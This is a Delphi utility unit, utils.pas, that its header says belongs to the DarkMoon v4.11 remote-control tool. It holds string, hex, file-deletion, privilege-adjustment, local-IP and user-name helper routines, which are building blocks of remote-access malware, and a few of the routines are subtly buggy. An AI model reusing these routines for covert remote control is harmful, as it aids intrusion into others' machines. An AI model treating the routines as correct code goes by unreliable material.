utils.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

     retsize := GetTimeFormat(LOCALE_SYSTEM_DEFAULT,
                              LOCALE_NOUSEROVERRIDE and TIME_FORCE24HOURFORMAT,
                              nil,
                              'hh-mm-ss-tt',
                              PChar(timestr),
                              128);
     setlength(timestr, retsize - 1);
     Result := timestr;
end;
  ///////////////////////////////////////////////////////////////////////////////

function StrToInt64(const S: string): Int64;
var  E: Integer;
begin
     Val(S, Result, E);
end;

function UpperCase( S :String ): String ;
var i : Byte;
begin
     for i := 1 to Length( s ) do
         S[ i ] := UpCase( S[ i ] );
     Result := S;
end;
   ///////////////////////////////////////////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////////
function Ocurrencias( const ss, s: String ): Integer;
var i: Integer;
begin
     i := 1;
     Result := 0;
     while i <= length( s ) + 1 do
     begin
          if s[ i ] = ss then
             Result := Result + 1;
          Inc( i );
     end;
end;     
  ///////////////////////////////////////////////////////////////////////////////

procedure Filtrar( var s:String );
var a : set of char;
    i : Byte;
    Aux : string;
begin
     a := [ 'a'..'z' ] + [ 'A'..'Z'] + [ '0'..'9'];
     Aux := s;
     s := '';
     for i := 1 to Length( Aux )do
          if Aux[ i ] in a then S := S + Aux[ i ];
end;
   ///////////////////////////////////////////////////////////////////////////////

 function GenerarRandomString: String;

var i: Byte;
    tmp : String;
    vec : Array[ 1..58 ] of byte;
begin
     for i := 1 to 58 do
         vec[ i ] := i + 64;
     Tmp := '';
     Randomize;
     for i := 1 to 4 + Random( 3216 ) mod 2 do
     begin
          Randomize;
          Tmp := Tmp + Chr( Vec[ Random( 58 ) ] );
          Sleep( 500 );
     end;
     result := LowerCase( tmp );
     if Length( Result ) > 12 then
        Result := Copy( result, 1, 9 );
     Filtrar( REsult );
end;
   ///////////////////////////////////////////////////////////////////////////////

function HexToInt(s: string): Longword;
var  b: Byte;
     c: Char;
begin
     Result := 0;
     s := UpperCase( s );
     for b := 1 to Length( s ) do
     begin
          Result := Result * 16;
          c := s[ b ];
          case c of
              '0'..'9': Inc(Result, Ord(c) - Ord('0'));
              'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
          end;
     end;
end;

  ///////////////////////////////////////////////////////////////////////////////

function stringtochar(st : string) : char;
var c : char;
begin
     c := #0;
     while c <> st do
           c := succ(c);
     stringtochar := c;
end;
    ///////////////////////////////////////////////////////////////////////////////

function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////


  ///////////////////////////////////////////////////////////////////////////////

//Devuelve una cadena en formato numerico de un valor para Unsigned 32 bits
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
var
  Poinx : Pointer;
  wsprintfX : function (Output: PChar; Format: PChar; Value : Cardinal): Integer; cdecl;
  hdllib : HINST;
  retmp : Integer;
begin
  hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  if hdllib <> 0 then begin
     Poinx := GetProcAddress(hdllib, 'wsprintfA');
     if Poinx <> nil then begin
        @wsprintfX := Poinx;
        SetLength(Result, 15);
        retmp := wsprintfX(PChar(Result), FormatStr, Value);
        SetLength(Result, retmp);
     end;
  FreeLibrary(hdllib);
  end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////

function FileAge(const FileName: string): Integer;
type  LongRec = packed record
            Lo, Hi: Word;
      end;
var  Handle: THandle;
     FindData: TWin32FindData;
     LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;
   ///////////////////////////////////////////////////////////////////////////////

function FileExists( s : String ): Boolean;
begin
     Result := FileAge( s ) <> -1
end;
  ///////////////////////////////////////////////////////////////////////////////

function GetCPUSpeed: Double;
const
DelayTime = 500;
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin
try
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10);
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
except end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function BorrarArchivo( s : String ): integer;
var i: Byte;
begin
     Result := 0;
     if FileExists( s )then
     try
       //saco atributos
       i := GetFileAttributes( PChar( s ) );
       i := i and $00000002;//faHidden;
       i := i and $00000001;//faReadOnly;
       i := i and $00000004;//faSysFile;
       SetFileAttributes( PChar( s ), i );
       DeleteFile( Pchar( s ) );
       except end;
end;
    ///////////////////////////////////////////////////////////////////////////////

//Define los privilegios para windows NT
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
var
   ProcHdl, TokenHdl : Cardinal;
   iLuid : Int64;
   TokenPrivs, TokenPrivsNew : TTokenPrivileges;
   RetC : DWORD;
begin
   ProcHdl := GetCurrentProcess;
   if (OpenProcessToken(ProcHdl, TOKEN_ALL_ACCESS, TokenHdl) = False) then exit;
   if (LookupPrivilegeValue('', lpName, iLuid) = True) then begin
      TokenPrivs.PrivilegeCount := 1;
      TokenPrivs.Privileges[0].Luid := iLuid;
      TokenPrivs.Privileges[0].Attributes := Attributes;
   end;
   if (AdjustTokenPrivileges(TokenHdl,False,TokenPrivs,SizeOf(TokenPrivsNew),TokenPrivsNew,RetC) = False) then exit;
end;
    ///////////////////////////////////////////////////////////////////////////////


   function LocalIP: String;
type
TaPInAddr = Array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: Array[0..63] of Char;
I: Integer;
GInitData: TWSAData;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
I := 0;
while pPtr^[I] <> nil do
begin
Result := inet_ntoa(pptr^[I]^);
Inc(I);
end;
WSACleanup;
end;

 function Usuario: String;
//retorna el usuario logeado
var  NameBuf: array[ 0..60 ] of Char;
     SizeBuf: LongWord;
begin
     SizeBuf := Sizeof( NameBuf );
     GetUserName( NameBuf, SizeBuf );
     Result  := NameBuf ;
end;

end.